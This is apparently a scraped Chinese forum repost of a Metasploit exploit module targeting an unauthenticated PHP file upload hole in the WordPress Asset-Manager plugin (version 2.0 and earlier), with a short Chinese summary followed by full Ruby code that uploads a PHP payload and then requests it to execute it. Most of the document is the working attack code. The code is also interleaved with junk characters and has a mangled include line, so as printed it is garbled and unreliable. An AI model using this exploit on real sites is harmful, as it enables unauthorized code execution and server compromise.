WordPress Asset-Manager PHP文件上传漏洞

admin

这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
" I2 e+ r, P6 V4 |6 l! v
##
+ H' ~0 _" E3 f) \4 m6 [# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
, S# x  a3 I: }0 R
- s. M6 f5 g; krequire 'msf/core'
require 'msf/core/exploit/php_exe'
$ J8 M2 }( k. d
0 J+ T: v4 f) y+ ?9 O- Sclass Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit:hpEXE

' w, w0 c* Q4 ]' V  def initialize(info = {})
( ]6 {8 {$ }  t    super(update_info(info,
! b% v; z7 Q" b- t9 {8 t! U: y      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
      'Description'    => %q{
0 s% q- [7 d% k        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress
# J. B# r& b& W& P9 J3 L        plugin.  By abusing the upload.php file, a malicious user can upload a file to a
: I) {; L, r# F  o* k4 E        temp directory without authentication, which results in arbitrary code execution.
      },
6 }7 O3 G0 B1 b. }0 u      'Author'         =>
) z! Y2 t. w; p. l        [
          'Sammy FORGIT', # initial discovery
6 z; A9 {4 w/ o" _          'James Fitts <fitts.james[at]gmail.com>' # metasploit module
* e4 w0 |3 F" E        ],
      'License'        => MSF_LICENSE,
      'References'     =>
. K* h, N1 D- `2 \. Y; C9 n! R7 o        [
          [ 'OSVDB', '82653' ],
          [ 'BID', '53809' ],
, ]4 H$ m0 A1 S0 N8 T4 Y          [ 'EDB', '18993' ],
          [ 'URL', 'http:// www.myhack58.com /' ]
8 h5 [$ y. L! I        ],
      'Payload'       =>
        {
          'BadChars' => "\x00",
        },
/ b+ G- s. U: f$ X$ Q9 H" S- J      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
/ r7 _. j0 Z# R% l! ?$ z/ Q          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
        ],
. V/ d( k0 s4 y" u% ]6 ^+ Z      'DefaultTarget' => 0,
      'DisclosureDate' => 'May 26 2012'))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
8 c2 K1 h; h* c7 [" [      ], self.class)
$ T: V2 t% I% N2 H; W  end

  def exploit
    uri =  target_uri.path
    uri << '/' if uri[-1,1] != '/'
    peer = "#{rhost}:#{rport}"
$ ?& ?) m% ]2 ?9 a    payload_name = "#{rand_text_alpha(5)}.php"
    php_payload = get_write_exec_payload(:unlink_self=>true)

    data = Rex::MIME::Message.new
    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
8 ]' O8 \# t# _3 r    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

    print_status("#{peer} - Uploading payload #{payload_name}")
    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
7 i& E3 I; }4 u, G0 b. t# g! x      'data'    => post_data
1 Y; \* j2 [, O, q    })
1 Q8 D8 O2 ]+ r+ L3 q
    if not res or res.code != 200 or res.body !~ /#{payload_name}/
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
0 L) p# V. \* q/ z, E6 o& k- y+ rend
; J& I# T3 A" `- x& S( c
9 w4 B3 \9 |) e    print_status("#{peer} - Executing payload #{payload_name}")
9 z# n# B- b# ^7 I& I) B9 b4 L    res = send_request_raw({
      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
7 t' m! X# [7 S8 M- v2 _/ w. P+ @0 {      'method'  => 'GET'
- u5 q. T! W# W    })
) T. S+ y: F3 a" i
    if res and res.code != 200
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
    end
  end
# q$ ?# d# L2 e; Dend